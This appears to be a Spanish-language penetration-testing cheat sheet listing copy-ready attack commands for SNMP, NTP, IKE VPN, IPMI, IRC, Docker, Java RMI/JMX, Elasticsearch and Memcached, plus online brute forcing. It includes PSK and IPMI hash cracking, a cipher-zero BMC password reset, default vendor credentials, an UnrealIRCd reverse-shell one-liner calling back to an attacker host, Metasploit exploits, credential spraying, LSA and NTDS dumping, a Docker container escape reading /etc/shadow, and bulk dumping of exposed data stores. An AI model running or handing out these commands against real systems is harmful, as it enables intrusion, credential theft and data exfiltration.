snmp.txtVolcar todo el árbol y filtrar por credenciales snmpbulkwalk -c public -v2c <ip> . | grep -iE 'pass|user|community|key'NTP · 123 7 comandos Copiar todo
Escaneo / banner Versión del servicio y lista de clientes recientes (monlist) nmap -sU -p123 -sV --script ntp-info,ntp-monlist <ip>Enumerar Variables del servidor: versión, sistema y referencia horaria ntpq -c rv <ip> # readvar: version, processor, system, refidVariables del servidor, pares y asociaciones NTP ntpq -c readlist <ip>; ntpq -c peers <ip>; ntpq -c assoc <ip>monlist: últimos clientes que consultaron al servidor (mapa de la red interna) ntpdc -n -c monlist <ip> # last clients that queried the serverReloj Leer la hora del objetivo (clave para Kerberos, skew < 5 min) ntpdate -q <ip> # target time (useful for Kerberos skew)Sincronizar tu reloj con el del objetivo sudo ntpdate <ip> # sync your clock with the DC before attacking KerberosDesactivar el NTP local antes de forzar la sincronización sudo timedatectl set-ntp false; sudo ntpdate <ip> # disable local NTP first if it fights youIKE / IPsec VPN · 500 8 comandos Copiar todo
Escaneo / banner Detectar el servicio IKE (VPN IPsec) y su modo sudo nmap -sU -p500 -sV <ip>; ike-scan <ip>Enumerar Salida multilínea: ver la transformada aceptada sudo ike-scan -M <ip> # multiline: show the accepted transformProbar también IKEv2 (no solo IKEv1) sudo ike-scan --ikev2 <ip> # probe IKEv2 as wellAutomatizar la enumeración de transformadas y modo agresivo python3 iker.py <ip> # automate transform + aggressive-mode enumerationModo agresivo (PSK) Modo agresivo: solicita el handshake que expone la PSK ike-scan -A <ip> # aggressive mode: may return the PSK hashGuardar el material de la PSK en modo agresivo para crackear sudo ike-scan -A -M --id=<id> --pskcrack=ike.txt <ip>Crack Crackear la PSK capturada con un diccionario psk-crack -d <rockyou.txt> ike.txtFuerza bruta de PSK cortas por conjunto de caracteres psk-crack -b 8 --charset='0123456789' ike.txt # brute force short numeric PSKsIPMI / BMC · 623 8 comandos Copiar todo
Enumerar / hashes Versión de IPMI y comprobación de cipher zero (auth nula) sudo nmap -sU -p623 --script ipmi-version,ipmi-cipher-zero <ip>Volcar los hashes RAKP de IPMI (extraíbles del handshake) msfconsole -q -x 'use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS <ip>; run'Detectar la versión de IPMI/BMC (CVE-2013-4786) msfconsole -q -x 'use auxiliary/scanner/ipmi/ipmi_version; set RHOSTS <ip>; run'Crack Crackear los hashes RAKP de IPMI hashcat -m 7300 ipmi.hash <rockyou.txt>ipmitool / cipher-zero Interactuar con la BMC ya con credenciales ipmitool -I lanplus -H <ip> -U <user> -P <pass> user list; ipmitool -I lanplus -H <ip> -U <user> -P <pass> chassis statusAbusar de cipher zero para hablar con la BMC sin contraseña ipmitool -I lanplus -C 0 -H <ip> -U Administrator -P '' user list # cipher zero: null authCipher zero: cambiar la contraseña de una cuenta de la BMC ipmitool -I lanplus -C 0 -H <ip> -U Administrator -P '' user set password 2 <newpass> # reset a BMC accountCredenciales por defecto Credenciales por defecto habituales de BMC según el fabricante # Defaults: ADMIN/ADMIN (Supermicro), root/calvin (Dell iDRAC), Administrator/<blank> (HP iLO)IRC · 6667 / 6697 6 comandos Copiar todo
Escaneo / banner Banner del IRCd, canales y comprobación del backdoor de UnrealIRCd nmap -p6667,6697,6660-6669 -sV --script irc-info,irc-unrealircd-backdoor,irc-botnet-channels <ip>Conectar Conectar a mano al IRC: registrarse y listar canales nc -nv <ip> 6667 → NICK x → USER x x x :x → LISTConectar con un cliente y enumerar canales y usuarios irssi -c <ip> -p 6667 # or weechat; then /list and /who *Conectar al IRC cifrado (TLS) para ver el banner openssl s_client -connect <ip>:6697 # IRC over TLSExplotación Disparar el backdoor de UnrealIRCd 3.2.8.1 (RCE) printf 'AB;bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"\n' | nc <ip> 6667 # UnrealIRCd CVE-2010-2075Explotar el backdoor de UnrealIRCd con Metasploit msfconsole -q -x 'use exploit/unix/irc/unreal_ircd_3281_backdoor; set RHOSTS <ip>; set LHOST <lhost>; run'Fuerza bruta de login Fuerza bruta de login (online) 15 comandos Copiar todo
hydra: servicios SSH (pocos hilos para no fallar) hydra -L <users.txt> -P <rockyou.txt> ssh://<ip> -t 4FTP hydra -l <user> -P <rockyou.txt> ftp://<ip> -I -t 16Credential stuffing: probar pares usuario:contraseña filtrados hydra -C <combo.txt> <service>://<ip> # combo.txt = user:password per lineFuerza bruta de RDP (hydra o crowbar) hydra -L <users.txt> -P <rockyou.txt> rdp://<ip> # o crowbar -b rdp -s <ip>/32 -U <users.txt> -c '<pass>'Fuerza bruta de usuario y contraseña hydra -L <users.txt> -P <passwords.txt> <service>://<ip>Probar una lista de pares usuario:contraseña hydra -C <user_pass.txt> <service>://<ip>hydra: web (HTTP) Formulario web POST (marcar el mensaje de error) hydra -l <user> -P <rockyou.txt> '<host>' http-post-form '<path>:user=^USER^&pass=^PASS^:<error>'Fuerza bruta de una autenticación HTTP Basic hydra -l <user> -P <rockyou.txt> <ip> http-get '/<protected-path>'Recordatorio: hydra tiene módulo para casi cada servicio (ver hydra -U <modulo>) hydra -l <user> -P <rockyou.txt> <ip> -s <port> http-get / # adjust the module to the servicenetexec / CrackMapExec Rociar credenciales por SMB en el dominio netexec smb <ip> -u <users.txt> -p <passwords.txt> --continue-on-successFuerza bruta por WinRM con netexec netexec winrm <ip> -u <users.txt> -p <passwords.txt>Volcar secretos LSA con credenciales de admin local netexec smb <ip> --local-auth -u <user> -p <pass> --lsaVolcar la NTDS con credenciales de admin de dominio netexec smb <ip> -u <user> -p <pass> --ntdsmedusa / patator Alternativa a hydra (a veces más estable en ciertos servicios) medusa -h <ip> -u <user> -P <rockyou.txt> -M <service>Alternativa a hydra con filtrado fino de respuestas (patator) patator ssh_login host=<ip> user=<user> password=FILE0 0=<rockyou.txt> -x ignore:mesg='auth fail'Otras Docker API · 2375 / 2376 5 comandos Copiar todo
Escaneo / banner Detectar el socket TCP del daemon de Docker expuesto nmap -p2375,2376 -sV <ip>Confirmar que el daemon responde sin autenticación (versión e info) curl -s http://<ip>:2375/version; curl -s http://<ip>:2375/infoEnumerar Listar contenedores e imágenes contra el daemon remoto docker -H tcp://<ip>:2375 ps; docker -H tcp://<ip>:2375 imagesExplotación (escape) Montar el sistema de ficheros del host y saltar a root (ver [[container-escape]]) docker -H tcp://<ip>:2375 run -v /:/host -it alpine chroot /host shLeer ficheros sensibles del host montando un volumen docker -H tcp://<ip>:2375 run --rm -v /etc:/mnt alpine cat /mnt/shadowJava RMI / JMX · 1099 6 comandos Copiar todo
Escaneo / banner Volcar el registro RMI y comprobar el classloader vulnerable nmap -p1099 -sV --script rmi-dumpregistry,rmi-vuln-classloader <ip>Enumerar Enumerar los objetos RMI expuestos y ataques conocidos (BaRMIe) java -jar BaRMIe.jar -enum <ip> 1099JMX: enumerar los MBeans expuestos (beanshooter) beanshooter info <ip> <port> # JMX: listar MBeansExplotación (RCE) JMX: cargar un MLet malicioso para ejecutar comandos (RCE) beanshooter standard <ip> <port> -e --command 'id'RCE por JMX inseguro con Metasploit msfconsole -q -x 'use exploit/multi/misc/java_jmx_server; set RHOSTS <ip>; set RPORT <port>; run'RCE por deserialización en RMI con un gadget de ysoserial java -jar ysoserial.jar CommonsCollections6 'id' | ... # RMI deserialization gadgetElasticsearch · 9200 6 comandos Copiar todo
Escaneo / banner Versión del cluster y comprobación de acceso sin autenticación nmap -p9200 -sV <ip>; curl -s http://<ip>:9200/Enumerar Listar los índices (bases de datos) del cluster curl -s 'http://<ip>:9200/_cat/indices?v'Nodos, versiones y configuración del cluster curl -s 'http://<ip>:9200/_cat/nodes?v'; curl -s 'http://<ip>:9200/_nodes?pretty'Volcado Volcar documentos (a menudo credenciales o datos personales) curl -s 'http://<ip>:9200/_search?pretty&size=100'Buscar dentro de un índice por palabras clave curl -s 'http://<ip>:9200/<index>/_search?pretty&q=password'Explotación (RCE) Elasticsearch antiguo: RCE por scripting dinámico en _search # CVE-2014-3120 (MVEL) / CVE-2015-1427 (Groovy): script dinamico en _search -> RCE en ES antiguosMemcached · 11211 6 comandos Copiar todo
Escaneo / banner Detectar Memcached y leer sus estadísticas nmap -p11211 --script memcached-info <ip>Conectar a mano: estadísticas y versión del servicio nc -vn <ip> 11211 -> stats -> versionEnumerar Listar los slabs con datos almacenados echo -e 'stats items\r' | nc -q1 <ip> 11211Volcado Volcar las claves de un slab (tokens, sesiones) echo -e 'stats cachedump <slab_id> 100\r' | nc -q1 <ip> 11211Leer el valor cacheado de una clave concreta echo -e 'get <key>\r' | nc -q1 <ip> 11211Cliente libmemcached: listar y leer claves en masa memccat --servers=<ip> <key> | memcdump --servers=<ip>Sin resultados